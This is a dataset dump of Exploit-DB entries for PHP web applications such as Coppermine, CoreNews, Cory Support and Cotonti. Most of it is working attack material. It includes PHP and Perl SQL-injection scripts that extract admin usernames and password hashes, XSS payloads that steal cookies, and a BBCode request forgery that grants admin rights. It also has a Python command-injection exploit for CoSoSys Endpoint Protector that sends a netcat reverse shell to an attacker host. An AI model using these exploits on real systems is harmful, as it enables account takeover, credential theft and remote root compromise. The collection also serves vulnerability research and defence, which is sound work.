deardaniel/secdata-raw huggingface dataset:
Exploit-DB #8114
Description: Coppermine Photo Gallery 1.4.20 - BBCode IMG Privilege Escalation
Type: webapps
Platform: php
Date: 2009-02-26
Author: StAkeR

Exploit:
+--------------------------------------------------------------------------+
| Coppermine Photo Gallery <= 1.4.20 (BBCode IMG) Privilege Escalation PoC |
+--------------------------------------------------------------------------+
| by Juri Gianni aka yeat - staker[at]hotmail[dot]it                       |
| http://coppermine-gallery.net                                            |
| Don't add me on msn messenger.                                           |
| This vulnerability can be named as "bbcode img tag script injection"     |
+--------------------------------------------------------------------------+
| Proof of Concept  (an example,to understand it)                          |
+--------------------------------------------------------------------------+
 URL: http://[host]/[path]/delete.php?id=u[ID]&u[ID]=&action=change_group&what=user&new_[CREDENTIAL_REDACTED]=1&delete_files=no&delete_comments=no
 [img]URL[/img]                                                           
+--------------------------------------------------------------------------+
| Modify [ID] with your user id.                                           |
| Go http://[host]/[path]/displayimage.php?album=random&pos=[album id]     |
+--------------------------------------------------------------------------+
 Insert the below code into a new message
 
 hey admin,nice web site :)
 [img]http://[host]/[path]/delete.php?id=u3&u3=&action=change_group&what=user&new_[CREDENTIAL_REDACTED]=1&delete_files=no&delete_comments=no[/img]
 
+-------------------------------------------------------------------------+
| The fake image doesn't show errors,you'll see "hey admin,nice web site" |
| You'll become admin when the real admin will visit the page             |          
+-------------------------------------------------------------------------+

# milw0rm.com [2009-02-26]
Exploit-DB #32963
Description: Coppermine Photo Gallery 1.4.21 - 'css' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-04-29
Author: Gerendi Sandor Attila

Exploit:
source: https://www.securityfocus.com/bid/34782/info

Coppermine Photo Gallery is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to Coppermine Photo Gallery 1.4.22 are vulnerable. 

http://www.example.com/docs/showdoc.php?css=1>"><ScRiPt%20%0a%0d>alert(123)%3B</ScRiPt>
Exploit-DB #2660
Description: Coppermine Photo Gallery 1.4.9 - SQL Injection
Type: webapps
Platform: php
Date: 2006-10-27
Author: w4ck1ng

Exploit:
#!/usr/bin/php
<?php

 /*********************************************************************
 * Coppermine Photo Gallery 1.4.9 Remote SQL Injection Vulnerability 
 * 
 * Note:
 * Requires a valid user account.
 *
 * Usage: 
 * php script.php [host] [path] [table prefix] [user id] [username] [password]
 *
 * Usage Example:
 * php script.php domain.com /coppermine/ cpg149_ 1 john secret
 *
 * Googledork"
 * "Powered by Coppermine Photo Gallery"
 *
 * Credits:
 * Disfigure - Vulnerability research and discovery
 * Synsta - Exploit scripting
 * 
 * [w4ck1ng] - w4ck1ng.com
 *********************************************************************/

if(!$argv[6]){
die("Usage:
php $argv[0] [host] [path] [table prefix] [user id] [username] [password]\n
Usage Example:
php $argv[0] domain.com /coppermine/ cpg149_ 1 john secret\n");
}

if($argv[6]){

function send($host,$put){
global $data;
$conn = fsockopen(gethostbyname($host),"80");
if(!$conn) {
die("Connection to $host failed...");
}else{
fputs($conn,$put);
}
while(!feof($conn)) {
$data .=fgets($conn);
}
fclose($conn);
return $data;
}

$host = $argv[1];
$path = $argv[2];
$prefix = $argv[3];
$userid = $argv[4];
$userl = $argv[5];
$passl = $argv[6];

$post = "username=".urlencode($userl)."&password=".urlencode($passl)."&submitted=Login";
$req  = "POST ".$path."login.php?referer=index.php HTTP/1.1\r\n"; 
$req .= "Referer: http://".$host.$path."login.php?referer=index.php\r\n";
$req .= "Host: $host\r\n";
$req .= "Content-Type: application/x-www-form-urlencoded\r\n";
$req .= "Content-Length: ".strlen($post)."\r\n";
$req .= "Connection: Close\r\n";
$req .= "Cache-Control: no-cache\r\n\r\n";
$req .= $post;
send("$host","$req");

/* Borrowed from rgod. */           
$temp = explode("Set-Cookie: ",$data);
$temp2 = explode(" ",$temp[1]);
$cookie = $temp2[0];
$temp2 = explode(" ",$temp[2]);
$cookie .= " ".str_replace(";","",$temp2[0]);
$cookie = str_replace("\r","",$cookie);
$cookie = str_replace("\n","",$cookie);
            
$sql = urlencode("123 UNION SELECT user_id,user_group,concat(user_name,char(58,58),user_password) FROM ".$prefix."users where user_id = ".$userid." --");
$req =  "GET ".$path."picmgr.php?aid="."$sql HTTP/1.1\r\n";
$req .= "Host: $host\r\n";
$req .= "Content-Type: application/x-www-form-urlencoded\r\n";
$req .= "Cookie: ".$cookie."\r\n\r\n";
$req .= "Connection: Close\r\n\r\n";
send("$host","$req");

$gdata = explode("<option value=\"picture_no=1,picture_nm=",$data);
$ghash = explode(",action=0\">",$gdata[1]);
$hash = $ghash[0];
$uname = explode("'",$hash);
$uname = explode("::",$uname[1]);
$username = $uname[0];
$fhash = explode("::",$hash);
$fhash = explode("',picture_sort=100",$fhash[1]);
$finalhash = $fhash[0];

if(strlen($finalhash) != 32){ 
die("Exploit failed..\n"); 
}else{ 
die("Username: $username MD5: $finalhash\n"); 
}
}
?>

# milw0rm.com [2006-10-27]
Exploit-DB #35156
Description: Coppermine Photo Gallery 1.5.10 - 'help.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-12-28
Author: waraxe

Exploit:
source: https://www.securityfocus.com/bid/45600/info

Coppermine Photo Gallery is prone to multiple cross-site-scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Coppermine Photo Gallery 1.5.10 is vulnerable; other versions may also be affected. 

http://www.example.com/cpg.1.5.10/help.php?base=1
&h=czozMzoiPHNjcmlwdD5hbGVydCgnaGVhZGVyJyk7PC9zY3JpcHQ%2bIjs
&t=czozMToiPHNjcmlwdD5hbGVydCgndGV4dCcpOzwvc2NyaXB0PiI7
Exploit-DB #35157
Description: Coppermine Photo Gallery 1.5.10 - 'searchnew.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-12-28
Author: waraxe

Exploit:
source: https://www.securityfocus.com/bid/45600/info
 
Coppermine Photo Gallery is prone to multiple cross-site-scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
Coppermine Photo Gallery 1.5.10 is vulnerable; other versions may also be affected. 

<html><body><center> <form action="http://localhost/cpg.1.5.10/searchnew.php" method="post"> <input type="hidden" name="insert" value="1"> <input type="hidden" name="pics[]" value="222"> <input type="hidden" name="picfile_222" value="PGJvZHkgb25sb2FkPWFsZXJ0KDEyMyk7Pg"> <input type="submit" value="Test!"> </form> </center></body></html>
Exploit-DB #27413
Description: Core News 2.0.1 - 'index.php' Remote Code Execution
Type: webapps
Platform: php
Date: 2006-03-10
Author: botan

Exploit:
source: https://www.securityfocus.com/bid/17067/info

Core News is prone to a code-execution vulnerability. 

An attacker can exploit this issue to execute arbitrary malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible. 

Core News version 2.0.1. is vulnerable; other versions may also be affected.

http://www.example.com/index.php?page=evilcode?&cmd=id
Exploit-DB #1704
Description: CoreNews 2.0.1 - 'userid' SQL Injection
Type: webapps
Platform: php
Date: 2006-04-21
Author: nukedx

Exploit:
#!/usr/bin/perl
#Method found & Exploit scripted by nukedx
#Contacts > ICQ: 10072 MSN/Main: nukedx@nukedx.com web: www.nukedx.com
#Original advisory: http://www.nukedx.com/?viewdoc=24
#Usage: corenews.pl <host> <path>
use IO::Socket;
if(@ARGV != 2) { usage(); }
else { exploit(); }
sub header()
{
  print "\n- NukedX Security Advisory Nr.2006-24\r\n";
  print "- CoreNews <= 2.0.1 Remote SQL Injection Exploit\r\n";
}
sub usage() 
{
  header();
  print "- Usage: $0 <host> <path>\r\n";
  print "- <host> -> Victim's host ex: www.victim.com\r\n";
  print "- <path> -> Path to CoreNews ex: /corenews/\r\n";
  exit();
}
sub exploit () 
{
  #Our variables...
  $cnserver = $ARGV[0];
  $cnserver =~ s/(http:\/\/)//eg;
  $cnhost   = "http://".$cnserver;
  $cndir    = $ARGV[1];
  $cnport   = "80";
  $cntar    = "preview.php?userid=";
  $cnxp     = "-1/**/UNION/**/SELECT/**/null,concat(2022,login,20223,password,2203),null,null,null,null/**/FROM/**/corenews_users/*";
  $cnreq    = $cnhost.$cndir.$cntar.$cnxp;
  #Sending data...
  header();
  print "- Trying to connect: $cnserver\r\n";
  $cn = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$cnserver", PeerPort => "$cnport") || die "- Connection failed...\n";
  print $cn "GET $cnreq HTTP/1.1\n";
  print $cn "Accept: */*\n";
  print $cn "Referer: $cnhost\n";
  print $cn "Accept-Language: tr\n";
  print $cn "User-Agent: NukeZilla\n";
  print $cn "Cache-Control: no-cache\n";
  print $cn "Host: $cnserver\n";
  print $cn "Connection: close\n\n";
  print "- Connected...\r\n";
  while ($answer = <$cn>) {
    if ($answer =~ /2022(.*?)20223([\d,a-f]{32})2203/) {
      print "- Exploit succeed!\r\n";
      print "- Username: $1\r\n";
      print "- MD5 HASH of PASSWORD: $2\r\n";
      print "- If you crack hash you can use RFI with example ->\r\n";
      print "- Example: $cnhost$cndir?show=http://yourhost.com/file.txt\r\n"; 
      exit();
    }
  }
  #Exploit failed...
  print "- Exploit failed\n"
}

# nukedx.com [2006-04-21]

# milw0rm.com [2006-04-21]
Exploit-DB #37992
Description: CorePlayer - 'callback' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-10-28
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/56334/info

CorePlayer is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

CorePlayer 4.0.6 is vulnerable; other versions may also be affected. 

http://www.example.com/core_player.swf?callback=alert(document.cookie)
Exploit-DB #13980
Description: Cornerstone CMS - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-22
Author: Th3 RDX

Exploit:
# Exploit Title: Cornerstone CMS SQL Injection Vulnerability
# Date: 22-06-2010
# Author: Th3 RDX
# Software Link:
# Version: 1.0
# Tested on: Demo Site
# category: webapp
# Code :

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
L0v3 To: R00T, R45c4l, Agent: 1c3c0ld, Big Kid, Lucky(www.indishell.in)
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Gr33tz to ### Team I.C.A | www.IndiShell.in | Team I.C.W ###
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

##############################################################################
%//

----- [ Founder ] -----

Th3 RDX

----- [ E - mail ] -----

th3rdx@gmail.com


%\\
##############################################################################

##############################################################################
%//

----- [Title] -----

Cornerstone CMS SQL Injection Vulnerability

----- [ Vendor ] -----

http://www.cs-tech.com/

%\\
##############################################################################

##############################################################################
%//

----- [ Exploit (s) ] -----

Put [CODE] = SQL Injection Code

{e.g = default.asp?id=60+and+1=0+ Union 2,3,4,5,6,7,8,9,10 (tables & column) }

[SQLi] http://server/cs-cms/default.asp?id=70[CODE]

[SQLi] http://server/cs-cms/default.asp?id=44[CODE]

%\\
##############################################################################

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Thanks To All: www.Exploit-db.com | wwww.inj3ct0r.com | www.hack0wn.com
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Bug discovered : 22 June 2010

finish(0);
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Exploit-DB #39110
Description: Cory Jobs Search - 'cid' SQL Injection
Type: webapps
Platform: php
Date: 2014-03-05
Author: Slotleet

Exploit:
source: https://www.securityfocus.com/bid/65969/info

Cory Jobs Search is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Cory Jobs Search 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/coryapps/jobsearch/admincp/city.php?cid=[MySQL Injection]
Exploit-DB #42620
Description: Cory Support - 'pr' SQL Injection
Type: webapps
Platform: php
Date: 2017-09-06
Author: v3n0m

Exploit:
# Exploit   : Cory Support (pr) SQL Injection Vulnerability
# Author    : v3n0m
# Contact   : v3n0m[at]outlook[dot]com
# Date      : September, 06-2017 GMT +7:00 Jakarta, Indonesia
# Developer : Cory App
# Software  : Cory Support
# App Link  : http://coryapp.com/?product&index
# Demo      : http://coryapp.com/demo/support/
# Tested On : Mac OS Sierra v10.12.6
# Credits   : YOGYACARDERLINK, Dhea Dayanaya Fathin Karima, Don't Touch Me (Line Group) & Muhammad Panji, Alfath Dirk, Cafe BMW & YOU !!
 
1. Description
 
An attacker can exploit this vulnerability to read from the database.
The parameter 'pr' is vulnerable.
 
 
2. Proof of Concept
 
http://domain.tld/[path]/listfaq.php?pr=9999+and+1=2+union+all+select+null,version()--
 
# Exploitation via SQLMap
 
Parameter: pr (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: pr=1 AND 4809=4809
    Vector: AND [INFERENCE]

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: pr=1 UNION ALL SELECT NULL,CONCAT(0x[PII_REDACTED],0x564f724b4475754c4c7a48714c59464c6c43704a636c6f[PII_REDACTED]7a79716a6b6d4d6a72654b76,0x7170626b71)-- RNyi
    Vector:  UNION ALL SELECT NULL,[QUERY][GENERIC_SQL_COMMENT]
 
 
3. Security Risk
 
The security risk of the remote sql-injection web vulnerability in the Cory Support is estimated as high.
Exploit-DB #1847
Description: CosmicShoppingCart - 'search.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-05-28
Author: Vympel

Exploit:
Software: CosmicShoppingCart (www.cosmicphp.com)
Risk: Medium
Discovered by: Vympel (Marcelo Almeida)
Background: CosmicShoppingCart is a PHP / MySQL e-commerce system. It is a fully customizable, shopping cart designed.

SQL injections have been found, they could be exploited by users to retrieve the passwords of the admin.

Examples:
cosmicshop/search.php?max=-1%20UNION%20SELECT%201,1,1,cust_password,1,1,1,1,1%20FROM%20custs/*
cosmicshop/search.php?max='2'%20UNION%20SELECT%20'a','a','a',cust_email,cust_password,'abc',1,'a','a'%20FROM%20custs--

# milw0rm.com [2006-05-28]
Exploit-DB #12794
Description: Cosmos Solutions CMS - 'id=' / 'page=' SQL Injection
Type: webapps
Platform: php
Date: 2010-05-29
Author: gendenk

Exploit:
####################################################
# Cosmos Solutions cms SQL Injection Vulnerability
####################################################
# Vendor:http://www.cosmossolutions.net/
# Discovered by : gendenk
# Site : http://jatimcrew.org
# Dork : "Webdesign Cosmos Solutions"

# Exploit : [site]/p_inf.php?page=[SQL Injection]
# Exploit : [site]/index.php?id=[SQL Injection]

####################################################
# Demo:
# http://localhost/p_inf.php?page=[SQL Injection]


# Demo:
# http://localhost/index.php?id=[SQL Injection]

####################################################
Life is challanging, the fear of challanges, causing you for backwardness..Facing for the bright future..

#Thanks to : ALLAH SWT dan Nabi Muhammad SAW

Cyberlog, Cr4wl3r, Byz9991, Darkavanger, Newbie_Campuz,Unixcode,Bom2stalker, Phoenixhaxor, Xcyberx and MAMA Sri Rahayu [ istri cyberlog ] Semoga Cepet Sembuh..

Buat Yayank Ucrit I Love U Full :P


All Member Jatimcrew, Sekuritionline..
Exploit-DB #12793
Description: Cosmos Solutions CMS - SQL Injection
Type: webapps
Platform: php
Date: 2010-05-29
Author: cyberlog

Exploit:
===============================================
Cosmos Solutions cms SQL Injection Vulnerability
===============================================


               __                  __               
 .----..--.--.|  |--..-----..----.|  |.-----..-----.
 |  __||  |  ||  _  ||  -__||   _||  ||  _  ||  _  |
 |____||___  ||_____||_____||__|  |__||_____||___  |
       |_____|                               |_____|

####################################################
# Cosmos Solutions cms SQL Injection Vulnerability
####################################################
# Vendor:http://www.cosmossolutions.net
# Discovered by : cyberlog
# Site          : Sekuritionline.net
# Channel       : #SekuritiOnline [ Now Just My Bot ] :P

# Dork          : "Webdesign Cosmos Solutions"
]

# Exploit       : [site]/index.php?mid=[SQL Injection]
                  
                  
# Thanks        : r0073r,adhietslank, k1n9k0ng, cr4wl3r,cah_gemblunkz,
                  jayoes,thesims,setiawan,irvian,EA_Angel,BlueSpy,SoEy,A-technique,Jantap,KiLL,blindboy,sukam,
                  SarifJedul,wiro gendeng,Letjen,ridho_bugs,Ryan Kabrutz,Mathews,aurel666,Inoef,dbanie,

# special to Mama Sri Rahayu, Member& Staff Sekuritonline, C0li a.k.a antisecurity [ pinjem script perl-na ] :),
# Hiroyuki Doni thanks to create New design SO T-shirt :)P 
# Inj3ct0r Now Brothers with Sekuritionline
                
####################################################
# Demo: 
# http://localhost/index.php?mid=[SQL Injection]

####################################################

We never die !!!! indonesian Underground Community
!!!!! anjing buat oknum Pemerintah yang suka nilep uang rakyat !!!
!!!!! anjing juga buat admin site indon3sia yang merasa sok h3bat, dikasih tahu ada hole malah nyolot !!!!!

KacrUt I h@te U :P [ jika kau tidak mau aku katakan LOv3 ]
Give me NOCAN Brothers :P
am nt hacker just Lik3 Syst3m S3curity

 .-----..-----.|  |--..--.--..----.|__||  |_ |__|.-----..-----.|  ||__|.-----..-----.
 |__ --||  -__||    < |  |  ||   _||  ||   _||  ||  _  ||     ||  ||  ||     ||  -__|
 |_____||_____||__|__||_____||__|  |__||____||__||_____||__|__||__||__||__|__||_____|
Exploit-DB #45131
Description: CoSoSys Endpoint Protector 4.5.0.1 - (Authenticated) Remote Root Command Injection
Type: webapps
Platform: php
Date: 2018-08-02
Author: 0x09AL

Exploit:
# Title : CoSoSys Endpoint Protector - Authenticated Remote Root Command Injection
# Date : Vulnerability submitted in 01/12/2017 and published in 01/08/2018
# Author : 0x09AL
# Tested on : Endpoint Protector 4.5.0.1
# Software Link : https://www.endpointprotector.com/
# Vulnerable Versions : Endpoint Protector <= 4.5.0.1
# Endpoint Protector suffers from an authenticated command injection vulnerability. By default the username and password are : root:epp2011
# In the Appliance Tab , Server Maintenance the NTP Server field is vulnerable to command injection. There is a call to sh -c {NTP Server field} which is not validated. Attached is the exploit which does this automatically.
# The command may take a while to execute.

import requests
exp = requests.session()
user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0'


username = 'root'
[CREDENTIAL_REDACTED]'

host = 'x.x.x.x.x'
rev_host = 'x.x.x.x'
rev_port = '443'

r = exp.post('https://%s/index.php/login' % host,data={'username':username,'password':password,'login':'Login'},verify=False)

shell = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc %s %s >/tmp/f' % (rev_host,rev_port)

payload = '&& %s' % shell
print payload
if(r.text.find("Welcome Guest")>0):
    print "[-] Incorrect credentials [-]"
else:
    print "[+] Logged in successfully [+]"
    r = exp.get('https://%s/index.php/appliance/maintenance' % host,headers={'X-Requested-With': 'XMLHttpRequest'},verify=False)
    if(r.text.find("csrf")>-1):
        print "[+] Getting CSRF Token [+]"
        csrf_token = r.text.split('value="')[1].split('">')[0]
        
        print "[+] Token: %s [+]" % csrf_token
        post_data = {
            'csrf_token'   : csrf_token,
            'continent'    :'Europe',
            'region'       :'Berlin',
            'timeSetting[ntpserver]'    : payload,
            'timeSetting[timesync]'     :'12'
        }
        r = exp.post('https://%s/index.php/appliance/timezone' % host,data=post_data,headers={'X-Requested-With': 'XMLHttpRequest','Referer': 'https://%s/index.php/' % host},verify=False)
        print "[+] Sending exploit [+]"
        
        if(r.text.find("nc")>-1):
            post_data = {
                'ntpserver': payload,
                'continent'    :'Europe',
                'region'       :'Berlin'
            }

            r = exp.post('https://%s/index.php/appliance/timezone' % host,data=post_data,headers={'X-Requested-With': 'XMLHttpRequest','Referer': 'https://%s/index.php/' % host},verify=False)
            print "[+] Exploit success [+]"
Exploit-DB #37444
Description: Cotonti - 'admin.php' SQL Injection
Type: webapps
Platform: php
Date: 2012-06-22
Author: AkaStep

Exploit:
source: https://www.securityfocus.com/bid/54147/info

Cotonti is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

Cotonti 0.6.23 is vulnerable; other versions may also be affected. 

http://www.example.com/admin.php?m=hits&f=year&v=1[SQLi]
Exploit-DB #35803
Description: Cotonti 0.9.2 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2011-05-30
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/48028/info

Cotonti is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

Cotonti 0.9.2 is vulnerable; other versions may also be affected. 

http://www.example.com/users.php?s=-2+AND+31337=0
http://www.example.com/forums.php?m=topics&s=offtopic&ord=-2+AND+31337=0